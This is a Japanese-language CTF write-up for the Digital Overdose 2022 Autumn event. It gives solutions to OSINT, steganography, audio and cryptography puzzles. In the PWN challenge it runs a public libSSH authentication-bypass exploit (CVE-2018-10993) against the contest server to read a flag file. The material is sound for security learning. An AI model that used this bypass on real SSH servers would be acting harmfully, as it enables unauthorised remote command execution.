Digital Overdose 2022 Autumn CTF Writeup

この大会は2022/11/19 8:00(JST)~2022/11/21 8:00(JST)に開催されました。
今回もチームで参戦。結果は1675点で441チーム中41位でした。
自分で解けた問題をWriteupとして書いておきます。

th(REEEEEEEEEEEEEEE) (Misque 50)

ファイルを見ると、Gコードで3Dを表しているようだった。https://ncviewer.com/で読み込み、向きを色々変えると、フラグが現れた。

DOCTF{TH1S_CTF_N0W_1N_3D}

Zazu vs. Carl - 1 (OSINT - Zazu 50)

このエンブレムには、CHATEAU D'OEXと書いてある。また、列車の横や建物にMOBと書いてある。調べると、スイスのモントルー・オーベルラン・ベルノワ鉄道ということがわかる。この鉄道会社が見える駅は、Montreux。

DOCTF{montreux}

3 Seasshells (PWN 100)

$ nc 193.57.159.27 52777
SSH-2.0-libssh_0.8.1

Bye Bye

"SSH-2.0-libssh_0.8.1 vuln"で調べると、以下のエクスプロイトが見つかった。

CVE-2018-10993 libSSH authentication bypass exploit
https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d

このエクスプロイトでOSコマンドを実行し、フラグを読み取る。

$ python3 cve-2018-10993.py -p 52777 -c "cat /home/flag.txt" 193.57.159.27
/usr/lib/python3/dist-packages/paramiko/transport.py:236: CryptographyDeprecationWarning: Blowfish has been deprecated
  "class": algorithms.Blowfish,

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
DOCTF{Sh3cuR3_CH3Ll}
DOCTF{Sh3cuR3_CH3Ll}

Ye Auld-io (Audionography 50)

Audacityで開き、スペクトログラムを見ると、フラグを反転した文字列が見える。さらに「前後を反転」すると、フラグ文字列として読みやすい。

DOCTF{SM0L_SP3CTR0GR4M_1S_FUN}

Based pande (Steganography 50)

$ strings cutie.jpg -n 10
((((((((((((((((((((((((((((((((((((((((((((((((((
Xt$N7(J:aFh
B?hF6kU|K8H
 3v}J}[}pg8
 RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ==

base64文字列があるので、デコードする。

$ echo RE9DVEZ7UDRuRDNzTDBvazRGVDNSRTBGfQ== | base64 -d
DOCTF{P4nD3sL0ok4FT3RE0F}
DOCTF{P4nD3sL0ok4FT3RE0F}

It's hidden (Steganography 100)

Steganographyカテゴリのところに以下が書いてある。

It's hidden: '​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​█'

このマスクのようなデータをcodes.txtとして保存する。このデータは、以下の2つの文字で構成されている。

b'\xe2\x80\x8b'
b'\xe2\x96\x88'

ほとんどの文字がb'\xe2\x96\x88'。b'\xe2\x80\x8b'がたまに出てくるので、これを区切り文字として、b'\xe2\x96\x88'の長さをASCIIコードとしてデコードする。

#!/usr/bin/env python3
with open('codes.txt', 'rb') as f:
    codes = f.read()

codes = codes.replace(b'\xe2\x80\x8b', b'A')
codes = codes.replace(b'\xe2\x96\x88', b',')

codes = codes.split(b',')

flag = ''
for code in codes:
    flag += chr(len(code))
print(flag)
DOCTF{UN3XP3CT3D_EMPTyN3S$}

Lightning Seeds (Cryptography 100)

seedの値は1000未満なので、ブルートフォースで復号する。

#!/usr/bin/env python
import random

with open('out.txt', 'r') as f:
    encrypted = f.read()

enc = bytes.fromhex(encrypted)

for seed in range(1000):
    random.seed(seed)
    flag = b''
    for c in enc:
        flag += bytes([c ^ random.randint(0, 255)])
    if flag.startswith(b'DOCTF{'):
        flag = flag.decode()
        print(flag)
        break
DOCTF{n0t_4s_r4nd0m_4s_y0u_th1nk!}

Numbers Station (Cryptography 50)

1始まりのアルファベットのインデックスとしてデコードする。

whata
weird
stati
on
DOCTF{whataweirdstation}

Nintendhash (Cryptography 150)

衝突しやすそうなので、nonceを0からブルートフォースで求める。

#!/usr/bin/env python3
import ninhash

message = b"To catch them is my real test. To train them is my cause."
digest = ninhash.Nintendhash(message)
for nonce in range(2**64):
    try_msg = message + nonce.to_bytes(8, byteorder='big')
    try_digest = ninhash.Nintendhash(try_msg)
    if try_digest == digest:
        flag = 'DOCTF{%d}' % nonce
        print(flag)
        break
DOCTF{135441}

The Rat (Cryptography 100)

DTMFが含まれているので、mp3をwavに変換した後、http://dialabc.com/sound/detect/index.htmlでデコードする。

00442896496852

"tel +44 28 9649 6852"で調べると、Northern Irelandの電話番号であることがわかる。

DOCTF{northern_ireland}

Essence of Symmetry (Cryptography 100)

暗号化処理の概要は以下の通り。

・m, n = 21, 22
・content: flag.txtの内容
・L: contentの前半
・R: contentの後半
・x = ""
・Lの長さだけ、以下繰り返し(i: インデックス)
 ・Rの各文字とmとのXOR文字列のi番目とLのi番目とのXORをxに連結
・y = R
・L, R = y, x
・x = ""
・Lの長さだけ、以下繰り返し(i: インデックス)
 ・Rの各文字とnとのXOR文字列のi番目とLのi番目とのXORをxに連結
・y = R
・ciphertext = x + y
 →cipher.txtに書き込み

逆算していけばよい。

#!/usr/bin/env python3
m, n = 21, 22

with open('cipher.txt', 'rb') as f:
    ciphertext = f.read()

l = len(ciphertext) // 2
x = ciphertext[:l]
y = ciphertext[l:]

R = y
L = b''
for i in range(l):
    L += bytes([(R[i] ^ n) ^ x[i]])

x, y = R, L
R = y
L = b''
for i in range(l):
    L += bytes([(R[i] ^ m) ^ x[i]])

flag = (L + R).decode()
print(flag)
DOCTF{1TS_4_F3I$TIV4L_0F_S0RT$}

Hacker's Gambit (Cryptography 50)

問題タイトルのGambitを調べてみると、チェスの位置を示すものが見つかった。

https://en.wikipedia.org/wiki/Mar%C3%B3czy_Gambit

開始位置を順に調べてみる。

c8: black bishop
f8: black bishop
h8: black rook
g8: black knight
d8: black queen
a8: black rook
b8: black knight
e8: black king

それぞれ先頭の文字をつなぐと、フラグになる。

DOCTF{BBRKQRKK}

This isn't bitrot (Cryptography 50)

換字式暗号と推測して、quipqiupで復号する。

WITHOUT TRAINING, THEY LACKED KNOWLEDGE. WITHOUT KNOWLEDGE, THEY LACKED CONFIDENCE. WITHOUT CONFIDENCE, THEY LACKED VICTORY. YOUR FLAG IS ROT DOES NOT A CRYPTO MAKE, IN LOWERCASE, WITH UNDERSCORES INSTEAD OF SPACES, SURROUNDED BY THE USUAL FLAG TAG AND OPEN AND CLOSED BRACKETS. ENJOY.

復号した説明通り、"ROT DOES NOT A CRYPTO MAKE"を小文字にし、スペースを_に置換し、通常のフラグのタグとブラケットを付ける。

DOCTF{rot_does_not_a_crypto_make}